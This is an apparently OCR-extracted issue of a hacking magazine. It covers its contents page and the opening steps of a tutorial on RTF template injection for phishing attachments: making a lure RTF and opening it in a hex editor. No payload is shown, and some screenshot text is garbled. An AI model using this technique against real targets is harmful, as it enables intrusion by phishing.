**Simplifying Cyber Security since 2016** 

# December 2021 Edition 4 Issue 12 Learn Hacking in Real World Scenarios **RTFTemplate Injection & Apache Log4shell**in Real World Hacking

**HACKERC** 

# What's New in the newly released Kali Linux 2021.4

A New Evasion Module That Bypasses Windows Defender in Metasploit This Month

..with all other regular Features

# Shells<sup>M</sup> RUN YOUR CLOUD COMPUTER from your SMART DEVICE

## join us on shells.com

G

Ø

**STARTING AT** 

\$4.95 /month

## To Advertise with us Contact :

admin@hackercoolmagazine.com

#### Copyright © 2016 Hackercool CyberSecurity (OPC) Pvt Ltd

All rights reserved. No part of this publication may be reproduced, distributed, or transmitted in any form or by any means, including photocopying, recording, or other electronic or mechanical methods, without the prior written permission of the publishe -r, except in the case of brief quotations embodied in critical reviews and certain other noncommercial uses permitted by copyright law. For permission requests, write to the publisher, addressed "Attention: Permissions Coordinator," at the address below.

Any references to historical events, real people, or real places are used fictitiously. Na mes, characters, and places are products of the author's imagination.

Hackercool Cybersecurity (OPC) Pvt Ltd. Banjara Hills, Hyderabad 500034 Telangana, India.

Website : www.hackercoolmagazine.com

Email Address : admin@hackercoolmagazine.com

## HACKERCOOL Simplifying Cybersecurity

Information provided in this Magazine is strictly for educational purpose only. Please don't misuse this knowledge to hack into devices or networks without taking permission. The Magazine will not take any responsibility for misuse of this information.



## INSIDE

See what our Hackercool Magazine December 2021 Issue has in store for you.

1. Real World Hacking :

RTF Template Injection and Apache Log4shell Attacks explained.

- 2. What's New : Kali Linux 2021.4.
- 3. Metasploit This Month : Linux CVE-2021-22555, CVE-2021-3490, Windows Evasion, Git and more.
- 4. Online Security : How vulnerable is your personal information : 4 essential reads.
- 5. Cyber Security : Facebook : Latest case shows how Europe is clamping down on Big Tech.

Downloads

Other Resources

#### **RTF Template Injection and Apache Log4shell** REAL WORLD HACKING

Cyber security researchers at ProofPoint recently observed a new injection technique being used by hackers affiliated to Russian, Chinese and Indian state interests. This technique which they used in phishing attachments to gain entry into the target's network is termed as RTF (Rich Text Format) template injection. The groups who used this injection attack include Gameredon group which is allegedly affiliated to Russian interests and DoNot Team.

RTF Template Injection is very easy and simple. Apart from this, the inability of public antivirus engines failing to detect this injection is the reason for hackers increasingly using this injection technique. In this month's issue of Real World Hacking, we bring our readers how to perform this injection.

For this tutorial we will be using a Ubuntu system as our Landing system or attacker system. On our attacker system, we create a new directory named RTF\_T\_I (in fact you can name it whatever you like) to save all the files.

```
user1@ubuntu:~/Desktop$ mkdir RTF_T_I
user1@ubuntu:~/Desktop$ cd RTFT_I
```

```
bash: cd: RTFT_I: No such file or directory
user1@ubuntu:~/Desktop$
user1@ubuntu:~/Desktop$ cd RTF_T_I
user1@ubuntu:~/Desktop/RTF_T_I$ ls
user1@ubuntu:~/Desktop/RTF_T_I$
```

The reason we chose Ubuntu as our base system is it has a word processor installed by default. So I open LibreOffice and create a new word file as shown below (In Real world, the text here contai -ns the lure).



	Name hcool.rtf		Q	Save
습 Home				E;
Desktop	Name		Туре	Modified
Documents				
Downloads				
□ Music				
Pictures				
<b>⊟</b> Videos				
+ Other Locations				
Encrypt with GPG k     Edit filter settings     Save with password	i	Rich Text (.rtf)		
Encrypt with GPG k GE Edit filter settings Save with password File Edit View Inse Cefault Style Cefault Style	$\frac{hcool.rtf - LibreOffice Writer}{II \\ ert Format Styles Table Form Tools Window Help \\ I \\ \blacksquare \\ \blacksquare$	Rich Text (.rtf)		- • & * * & *
Encrypt with GPG ko Government of the settings Save with password File Edit View Inse Covernment of the settings File Edit View Inse Covernment of the settings File Edit Style File Edit Style File File File File File File File File	$\frac{hcool.rtf - LibreOffice Writer}{I \\ ert Format Styles Table Form Tools Window Help}$ $\blacksquare \ \blacksquare \$	Rich Text (.rtf)		- • • •
Encrypt with GPG komplete in the image of the settings in the settings is save with password is save with password is save with password is save in the setting in the set	$\frac{hcool.rtf - LibreOffice Writer}{Ert Format Styles Table Form Tools Window Help}$	Rich Text (.rtf)		
Encrypt with GPG k GE Edit filter settings Save with password File Edit View Inse	$\frac{hcool.rtf - LibreOffice Writer}{I \\ ert Format Styles Table Form Tools Window Help}$	Rich Text (.rtf)		
Encrypt with GPG komplete in the image of the settings in the settings is a set with password is a set of the set of	d         hcool.rtf - LibreOffice Writer         ert Format Styles Table Form Tools Window Help         I I I I I I I I I I I I I I I I I I I	Rich Text (.rtf)		
Encrypt with GPG ka Edit filter settings Save with password File Edit View Inse Image: Im	hcool.rtf - Libreoffice Writer ert Format Styles Table Form Tools Window Help Liberation Seri + 12 + B I U ÷ A <sup>2</sup> A <sub>2</sub> A A + A + E = = Hi all Welcome to Hackercool Cybersecurity Labs. This is a test for RTF template Injection. Thank You.	Rich Text (.rtf)		

with a hex editor. A hex editor is an editor used to manipulate or edit the fundamental binary dat -a of a computer file. There are many hex editors available. We will use hexcurse hex editor. We can open our rtf file "hcool.rtf" using hexcurse as shown below.

user1@ubuntu:~/Desktop/RTF\_T\_I\$ ls
hcool.rtf

user1@ubuntu:~/Desktop/RTF\_T\_I\$ hexcurse hcool.rtf

The file opens as shown below.

00000000	7B	5C	72	74	66	31	5C	61	бE	73	69	5C	64	65	66	66		{\rtf1\ansi\deff
00000010	33	5C	61	64	65	66	6C	61	бE	67	31	30	32	35	0A	7B		3\adeflang1025.{
00000020	5C	66	бF	бE	74	74	62	6C	7B	5C	66	30	5C	66	72	бF		\f0\fro
00000030	6D	61	бE	5C	66	70	72	71	32	5C	66	63	68	61	72	73		man\fprq2\fchars
00000040	65	74	30	20	54	69	6D	65	73	20	4E	65	77	20	52	бF		et0 Times New Ro
00000050	бD	61	бE	3B	7D	7B	5C	66	31	5C	66	72	6F	6D	61	6E		<pre>man;}{\f1\froman</pre>
00000060	5C	66	70	72	71	32	5C	66	63	68	61	72	73	65	74	32		\fprq2\fcharset2
00000070	20	53	79	6D	62	бF	6C	3B	7D	7B	5C	66	32	5C	66	73		Symbol;}{\f2\fs
00000080	77	69	73	73	5C	66	70	72	71	32	5C	66	63	68	61	72		wiss\fprq2\fchar
00000090	73	65	74	30	20	41	72	69	61	6C	3B	7D	7B	5C	66	33		<pre>set0 Arial;}{\f3</pre>
000000A0	5C	66	72	бF	6D	61	бE	5C	66	70	72	71	32	5C	66	63		\froman\fprq2\fc
000000B0	68	61	72	73	65	74	30	20	4C	69	62	65	72	61	74	69		harset0 Liberati
000000C0	бF	бE	20	53	65	72	69	66	7B	5C	2A	5C	66	61	6C	74		on Serif{\*\falt
000000D0	20	54	69	6D	65	73	20	4E	65	77	20	52	бF	6D	61	бE		Times New Roman
000000E0	7D	3B	7D	7B	5C	66	34	5C	66	73	77	69	73	73	5C	66		};}{\f4\fswiss\f
000000F0	70	72	71	32	5C	66	63	68	61	72	73	65	74	30	20	4C		prq2\fcharset0 L
00000100	69	62	65	72	61	74	69	бF	бE	20	53	61	бE	73	7B	5C		iberation Sans{\
00000110	2A	5C	66	61	6C	74	20	41	72	69	61	6C	7D	3B	7D	7B		*\falt Arial};}{
00000120	5C	66	35	5C	66	бE	69	6C	5C	66	70	72	71	32	5C	66		\f5\fnil\fprq2\f
00000130	63	68	61	72	73	65	74	30	20	4E	бF	74	бF	20	53	61		charset0 Noto Sa
00000140	бE	73	20	43	4A	4B	20	53	43	3B	7D	7B	5C	66	36	5C		ns CJK SC;}{\f6\
						_				_	-				_		۷	
Help	Sa	ave		0	Den			(	Goto		F	inc			He	ex Ac	bb	Hey Edit Ouit
					- CII													They Love Quee
-00000C30-					/cm												^	
-00000C30 00000AF0	61	72	20	5C	70	61	72	64	5C	70	6C	61	69	бE	20	5C	î	ar \pard\plain \
-00000C30 00000AF0 00000B00	61 73	72 30	20 5C	5C 68	70 69	61 63	72 68	64 5C	5C 61	70 66	6C 33	61 5C	69 64	6E 62	20 63	5C 68	Î	ar \pard\plain \ s0\hich\af3\dbch
00000C30 00000AF0 00000B00 00000B10	61 73 5C	72 30 61	20 5C 66	5C 68 38	70 69 5C	61 63 6C	72 68 61	64 5C 6E	5C 61 67	70 66 66	6C 33 65	61 5C 32	69 64 30	6E 62 35	20 63 32	5C 68 5C	Î	ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\
00000C30 00000AF0 00000B00 00000B10 00000B20	61 73 5C 64	72 30 61 62	20 5C 66 63	5C 68 38 68	70 69 5C 5C	61 63 6C 61	72 68 61 66	64 5C 6E 37	5C 61 67 5C	70 66 66 61	6C 33 65 66	61 5C 32 73	69 64 30 32	6E 62 35 34	20 63 32 5C	5C 68 5C 61	Î	ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B20	61 73 5C 64 6C	72 30 61 62 61	20 5C 66 63 6E	5C 68 38 68 67	70 69 5C 5C 31	61 63 6C 61 30	72 68 61 66 38	64 5C 6E 37 31	5C 61 67 5C 5C	70 66 66 61 77	6C 33 65 66 69	61 5C 32 73 64	69 64 30 32 63	6E 62 35 34 74	20 63 32 5C 6C	5C 68 5C 61 70	Î	ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30	61 73 5C 64 6C 61	72 30 61 62 61 72	20 5C 66 63 6E 5C	5C 68 38 68 67 68	70 69 5C 5C 31 79	61 63 6C 61 30 70	72 68 61 66 38 68	64 5C 6E 37 31 70	5C 61 67 5C 5C 61	70 66 61 77 72	6C 33 65 66 69 30	61 5C 32 73 64 5C	69 64 30 32 63 6C	6E 62 35 34 74 74	20 63 32 5C 6C 72	5C 68 5C 61 70 70		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30 00000B40	61 73 5C 64 6C 61 61	72 30 61 62 61 72 72	20 5C 66 63 6E 5C 5C	5C 68 38 68 67 68 63	70 69 5C 5C 31 79 66	61 63 6C 61 30 70 30	72 68 61 66 38 68 5C	64 5C 6E 37 31 70 6C	5C 61 67 5C 5C 61 6F	70 66 61 77 72 63	6C 33 65 66 69 30 68	61 5C 32 73 64 5C 5C	69 64 30 32 63 6C 66	6E 62 35 34 74 74 33	20 63 32 5C 6C 72 5C	5C 68 5C 61 70 70 66	Î	ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f
00000C30 00000AF0 00000B10 00000B20 00000B20 00000B30 00000B40 00000B50 00000B50	61 73 5C 64 6C 61 61 73	72 30 61 62 61 72 72 32	20 5C 66 63 6E 5C 5C 34	5C 68 38 68 67 68 63 5C	70 69 5C 5C 31 79 66 6C	61 63 6C 61 30 70 30 61	72 68 61 66 38 68 5C 6E	64 5C 6E 37 31 70 6C 67	5C 61 67 5C 5C 61 6F 31	70 66 61 77 72 63 30	6C 33 65 66 69 30 68 33	61 5C 32 73 64 5C 5C 33	69 64 30 32 63 60 50	6E 62 35 34 74 74 33 6B	20 63 32 5C 6C 72 5C 65	5C 68 5C 61 70 70 66 72		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30 00000B40 00000B50 00000B50 00000B50	61 73 5C 64 6C 61 73 6E	72 30 61 62 61 72 72 32 69	20 5C 66 63 6E 5C 5C 34 6E	5C 68 38 68 67 68 63 5C 67	70 69 5C 5C 31 79 66 6C 31	61 63 6C 61 30 70 30 61 5C	72 68 61 66 38 68 5C 6E 71	64 5C 6E 37 31 70 6C 67 6C	5C 61 67 5C 5C 61 6F 31 5C	70 66 61 77 72 63 30 6C	6C 33 65 66 69 30 68 33 74	61 5C 32 73 64 5C 5C 33 72	69 64 30 32 63 6C 66 5C 70	6E 62 35 34 74 74 33 6B 61	20 63 32 5C 6C 72 5C 65 72	5C 68 5C 61 70 70 66 72 5C		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30 00000B50 00000B50 00000B50 00000B50	61 73 5C 64 6C 61 61 73 6E 6C	72 30 61 62 61 72 72 32 69 6F	20 5C 66 63 6E 5C 5C 34 6E 63	5C 68 38 68 67 68 63 5C 67 68	70 69 5C 5C 31 79 66 6C 31 0A	61 63 61 30 70 30 61 5C 0A	72 68 61 66 38 68 5C 6E 71 5C	64 5C 6E 37 31 70 6C 67 6C 70	5C 61 5C 5C 61 6F 31 5C 61	70 66 61 77 72 63 30 6C 72	6C 33 65 66 69 30 68 33 74 20	61 5C 32 73 64 5C 5C 33 72 5C	69 64 30 32 63 6C 66 5C 70 70	6E 62 35 34 74 74 33 6B 61 61	20 63 32 5C 6C 72 5C 65 72 72 72	5C 68 5C 61 70 70 66 72 5C 64		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30 00000B50 00000B50 00000B50 00000B50 00000B50 00000B50	61 73 5C 64 6C 61 61 73 6E 6C 5C	72 30 61 62 61 72 72 32 69 6F 70	20 5C 66 63 6E 5C 5C 34 6E 63 6C	5C 68 38 67 68 63 5C 67 68 61	70 69 5C 5C 31 79 66 6C 31 0A 69	61 63 61 30 70 30 61 5C 0A 6E	72 68 61 66 38 68 5C 6E 71 5C 20	64 5C 6E 37 31 70 6C 67 6C 70 5C	5C 61 67 5C 5C 61 5C 61 5C 61 73	70 66 61 77 72 63 30 6C 72 30	6C 33 65 66 69 30 68 33 74 20 5C	61 5C 32 73 64 5C 5C 33 72 5C 68	69 64 30 32 63 6C 66 5C 70 70 69	6E 62 35 34 74 74 33 6B 61 61 63	20 63 32 5C 6C 72 5C 65 72 72 68	5C 68 5C 61 70 70 66 72 5C 64 5C		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\
00000C30 00000AF0 00000B10 00000B20 00000B30 00000B30 00000B40 00000B50 00000B50 00000B50 00000B50 00000B50 00000B70 00000B80 00000B80	61 73 5C 64 61 61 73 6E 6C 5C 61	72 30 61 62 61 72 72 32 69 6F 70 66	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33	5C 68 38 67 68 63 5C 67 68 61 5C	70 69 5C 5C 31 79 66 6C 31 0A 69 64	61 63 61 30 70 30 61 5C 0A 6E 62	72 68 61 66 38 68 5C 6E 71 5C 20 63	64 5C 6E 37 31 70 6C 67 6C 70 5C 68	5C 61 67 5C 61 6F 31 5C 61 73 5C	70 66 61 77 72 63 30 6C 72 30 61	6C 33 65 66 69 30 68 33 74 20 5C 66	61 5C 32 73 64 5C 5C 33 72 5C 68 38	69 64 30 32 63 6C 66 5C 70 70 69 5C	6E 62 35 34 74 74 33 6B 61 61 63 6C	20 63 32 5C 6C 72 5C 65 72 72 68 61	5C 68 5C 61 70 70 66 72 5C 64 5C 6E		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30 00000B40 00000B50 00000B50 00000B50 00000B50 00000B80 00000B80 00000B80	61 73 5C 64 6C 61 61 73 6E 6C 5C 61 67	72 30 61 62 61 72 72 32 69 6F 70 66 66	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 65	5C 68 38 67 68 63 5C 67 68 61 5C 32	70 69 5C 31 79 66 6C 31 0A 69 64 30	61 63 6C 61 30 70 30 61 5C 0A 6E 62 35	72 68 61 66 38 68 5C 6E 71 5C 20 63 32	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C	5C 61 67 5C 61 6F 31 5C 61 73 5C 64	70 66 61 77 72 63 30 6C 72 30 61 62	6C 33 65 66 69 30 68 33 74 20 5C 66 63	61 5C 32 73 64 5C 5C 33 72 5C 68 38 68	69 64 30 32 63 60 50 70 70 69 50 50	6E 62 35 34 74 74 33 6B 61 61 61 63 6C 61	20 63 32 5C 6C 72 5C 65 72 72 68 61 66	5C 68 5C 61 70 66 72 5C 64 5C 6E 37		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30 00000B40 00000B50 00000B50 00000B50 00000B70 00000B80 00000B80 00000B80 00000B80	61 73 5C 64 6C 61 61 73 6E 6C 5C 61 67 5C	72 30 61 62 61 72 72 32 69 6F 70 66 66 61	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 65 66	5C 68 38 68 67 68 63 5C 67 68 61 5C 32 73	70 69 5C 5C 31 79 66 6C 31 0A 69 64 30 32	61 63 6C 61 30 70 30 61 5C 0A 6E 62 35 34	72 68 61 66 38 68 5C 6E 71 5C 20 63 32 5C	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C 61	5C 61 67 5C 61 6F 31 5C 61 73 5C 64 6C	70 66 61 77 72 63 30 6C 72 30 61 62 61	6C 33 65 66 69 30 68 33 74 20 5C 66 63 6E	61 5C 32 73 64 5C 5C 33 72 5C 68 38 68 67	69 64 30 32 63 60 50 70 70 69 50 50 31	6E 62 35 34 74 74 33 6B 61 61 63 6C 61 30	20 63 32 5C 6C 72 5C 65 72 72 68 61 66 38	5C 68 5C 61 70 70 66 72 5C 64 5C 64 5C 6E 37 31		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7 \afs24\alang1081
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30 00000B40 00000B50 00000B50 00000B50 00000B70 00000B80 00000B80 00000B80 00000B80 00000B80	61 73 5C 64 6C 61 61 73 6E 6C 5C 61 67 5C 5C	72 30 61 62 61 72 72 32 69 6F 70 66 66 61 77	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 6C 33 65 66 69	5C 68 38 67 68 63 5C 67 68 61 5C 32 73 64	70 69 5C 31 79 66 6C 31 0A 69 64 30 32 63	61 63 61 30 70 30 61 5C 0A 6E 62 35 34 74	72 68 61 66 38 68 5C 6E 71 5C 20 63 32 5C 6C	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C 61 70	5C 61 67 5C 61 6F 31 5C 61 73 5C 61 73 5C 64 6C 61	70 66 61 77 72 63 30 6C 72 30 61 62 61 72	6C 33 65 66 69 30 68 33 74 20 5C 66 63 6E 5C	61 5C 32 73 64 5C 5C 33 72 5C 68 38 68 67 68	69 64 30 32 63 6C 66 5C 70 70 69 5C 5C 31 79	6E 62 35 34 74 74 33 6B 61 61 63 6C 61 30 70	20 63 32 5C 6C 72 5C 65 72 72 68 61 66 38 68	5C 68 5C 61 70 70 66 72 5C 64 5C 6E 37 31 70		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7 \afs24\alang1081 \widctlpar\hyphp
00000C30 00000AF0 00000B00 00000B10 00000B20 00000B30 00000B30 00000B40 00000B50 00000B50 00000B50 00000B70 00000B80 00000B80 00000B80 00000B80 00000B80 00000B80	61 73 5C 64 6C 61 61 73 6E 6C 5C 61 67 5C 5C 61	72 30 61 62 61 72 72 32 69 6F 70 66 66 61 77 72	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 65 66 69 30	5C 68 38 67 68 63 5C 67 68 61 5C 32 73 64 5C	70 69 5C 31 79 66 6C 31 0A 69 64 30 32 63 6C	61 63 61 30 70 30 61 5C 0A 6E 62 35 34 74 74	72 68 61 66 38 68 5C 6E 71 5C 20 63 32 5C 6C 72	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C 61 70 70 70	5C 61 67 5C 61 6F 31 5C 61 73 5C 61 73 5C 61 61 61	70 66 61 77 72 63 30 6C 72 30 61 62 61 72 72	6C 33 65 66 69 30 68 33 74 20 5C 66 63 6E 5C 5C	61 5C 32 73 64 5C 5C 33 72 5C 68 38 68 68 67 68 63	69 64 30 32 63 60 50 70 69 50 50 50 31 79 66	6E 62 35 34 74 74 33 6B 61 61 61 63 6C 61 30 70 30	20 63 32 5C 6C 72 5C 65 72 72 68 61 66 38 68 5C	5C 68 5C 61 70 70 66 72 5C 64 5C 64 5C 6E 37 31 70 6C		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7 \afs24\alang1081 \widctlpar\hyphp ar0\ltrpar\cf0\l
-00000C30 00000AF0 00000B10 00000B20 00000B30 00000B40 00000B40 00000B50 00000B50 00000B50 00000B70 00000B80 00000B80 00000B80 00000B80 00000B80 00000B80 00000B80	61 73 5C 64 61 61 73 6E 6C 5C 61 67 5C 61 6F	72 30 61 62 61 72 72 32 69 6F 70 66 66 61 77 72 63	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 65 66 9 30 68	5C 68 38 67 68 63 5C 67 68 61 5C 32 73 64 5C 5C	70 69 5C 31 79 66 6C 31 0A 69 64 30 32 63 6C 66	61 63 6C 61 30 70 30 61 5C 0A 6E 62 35 34 74 74 33	72 68 61 66 38 68 5C 6E 71 5C 20 63 32 5C 62 72 5C	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C 61 70 70 66	5C 61 67 5C 61 6F 31 5C 61 73 5C 64 6C 61 73	70 66 61 77 72 63 30 62 61 62 61 72 72 32	6C 33 65 66 69 30 68 33 74 20 5C 66 63 6E 5C 5C 34	61 5C 32 73 64 5C 5C 33 72 5C 68 38 68 68 67 68 63 5C	69 64 30 32 63 60 50 70 70 69 50 50 31 79 66 60	6E 62 35 34 74 74 33 6B 61 61 61 61 30 70 30 61	20 63 32 5C 6C 72 5C 65 72 72 68 61 66 38 61 66 38 65 5C 6E	5C 68 5C 61 70 66 72 5C 64 5C 6E 37 31 70 6C 67		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7 \afs24\alang1081 \widctlpar\hyphp ar0\ltrpar\cf0\l och\f3\fs24\lang
-00000C30 00000AF0 00000B10 00000B20 00000B20 00000B30 00000B40 00000B50 00000B50 00000B50 00000B50 00000B80 00000B80 00000B80 00000B80 00000BD0 00000BD0 00000BF0 00000BF0	61 73 5C 64 6C 61 61 73 6E 6C 5C 61 67 5C 61 67 5C 61 6F 31	72 30 61 62 61 72 32 69 6F 70 66 66 61 77 72 63 30	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 65 66 69 30 68 33	5C 68 38 67 68 63 5C 67 68 61 5C 32 73 64 5C 5C 33	70 69 5C 31 79 66 6C 31 0A 69 64 30 32 63 62 63 5C	61 63 6C 61 30 70 30 61 5C 0A 6E 62 35 34 74 74 74 33 6B	72 68 61 66 38 68 5C 6E 71 5C 20 63 32 5C 6C 72 5C 65	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C 61 70 70 66 72	5C 61 67 5C 61 6F 31 5C 61 73 5C 64 6C 61 73 6E	70 66 61 77 72 63 30 62 61 62 61 72 72 32 69	6C 33 65 66 69 30 68 33 74 20 5C 66 63 6E 5C 5C 34 6E	61 5C 32 73 64 5C 5C 33 72 5C 68 38 68 67 68 63 5C 67	69 64 30 32 63 60 50 70 70 69 50 50 31 79 66 60 31	6E 62 35 34 74 74 33 6B 61 61 61 61 30 70 30 61 5C	20 63 32 5C 6C 72 5C 65 72 72 68 61 66 38 61 66 38 5C 6E 71	5C 68 5C 61 70 66 72 5C 64 5C 6E 37 31 70 6C 67 6C		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7 \afs24\alang1081 \widctlpar\hyphp ar0\ltrpar\cf0\l och\f3\fs24\lang 1033\kerning1\ql
-00000C30 00000AF0 00000B10 00000B20 00000B20 00000B30 00000B40 00000B50 00000B50 00000B50 00000B70 00000B80 00000B80 00000B80 00000B00 00000BD0 00000BC0 00000BF0 00000BF0 00000C00	61 73 5C 64 61 61 73 6E 6C 5C 61 67 5C 61 67 5C 61 6F 31 5C	72 30 61 62 61 72 72 32 69 6F 70 66 61 77 72 63 30 6C	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 65 66 69 30 68 33 74	5C 68 38 68 67 68 67 68 61 5C 67 68 61 5C 32 73 64 5C 5C 33 72	70 69 5C 31 79 66 6C 31 0A 69 64 30 32 63 62 63 6C 70	61 63 6C 61 30 70 30 61 5C 0A 6E 62 35 34 74 74 33 6B 61	72 68 61 66 38 68 5C 6E 71 5C 20 63 32 5C 6C 72 5C 65 72	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C 61 70 70 66 72 7B	5C 61 67 5C 61 6F 31 5C 61 73 5C 61 61 73 61 73 6E 5C	70 66 61 77 72 63 30 62 72 30 61 62 61 72 72 32 69 60	6C 33 65 66 69 30 68 33 74 20 5C 66 63 6E 5C 5C 34 6E 6F	61 5C 32 73 64 5C 5C 33 72 5C 68 38 67 68 67 68 63 5C 67 63	69 64 30 32 63 60 50 70 69 50 50 50 31 79 66 60 31 68	6E 62 35 34 74 74 33 6B 61 61 61 61 61 30 70 30 61 50 0A	20 63 32 5C 6C 72 5C 65 72 65 72 68 61 66 38 61 66 38 5C 6E 71 54	5C 68 5C 61 70 66 72 5C 64 5C 62 37 31 70 6C 67 6C 67 6C 68		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7 \afs24\alang1081 \widctlpar\hyphp ar0\ltrpar\cf0\l och\f3\fs24\lang 1033\kerning1\ql \loch.Th
-00000C30 00000AF0 00000B10 00000B20 00000B20 00000B30 00000B40 00000B40 00000B50 00000B50 00000B70 00000B80 00000B80 00000B80 00000B80 00000B00 00000B00 00000B00 00000BF0 00000C00	61 73 5C 64 61 61 73 6E 6C 5C 61 67 5C 61 6F 31 5C 61	72 30 61 62 61 72 72 32 69 6F 70 66 61 77 72 63 30 6C 6E	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 65 66 69 30 68 33 74 6B	5C 68 38 67 68 67 68 61 5C 67 68 61 5C 32 73 64 5C 32 73 64 5C 33 72 20	70 69 5C 31 79 66 6C 31 0A 69 64 30 32 63 6C 66 5C 70 59	61 63 6C 61 30 70 30 61 5C 0A 6E 62 35 34 74 74 33 6B 61 6F	72 68 61 66 38 68 5C 6E 71 5C 20 63 32 5C 6C 72 5C 65 72 75	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C 61 70 70 66 70 70 66 72 7B 2E	5C 61 67 5C 61 6F 31 5C 61 73 5C 61 61 73 5C 61 73 5C 61 73 5C 20	70 66 61 77 72 63 30 6C 72 30 61 62 61 72 72 32 69 6C 7D	6C 33 65 66 69 30 68 33 74 20 5C 66 63 6E 5C 5C 34 6E 6F 0A	61 5C 32 73 64 5C 5C 33 72 5C 68 38 67 68 63 5C 67 63 5C	69 64 30 32 63 6C 66 5C 70 70 69 5C 5C 31 79 66 6C 31 68 70	6E 62 35 34 74 74 33 6B 61 61 61 61 60 70 30 61 50 61 50 61	20 63 32 5C 6C 72 5C 65 72 68 61 66 38 61 66 38 5C 6E 71 54 72	5C 68 5C 61 70 66 72 5C 64 5C 62 37 31 70 6C 67 6C 68 20		ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7 \afs24\alang1081 \widctlpar\hyphp ar0\ltrpar\cf0\l och\f3\fs24\lang 1033\kerning1\ql \loch.Th ank You. }.\par
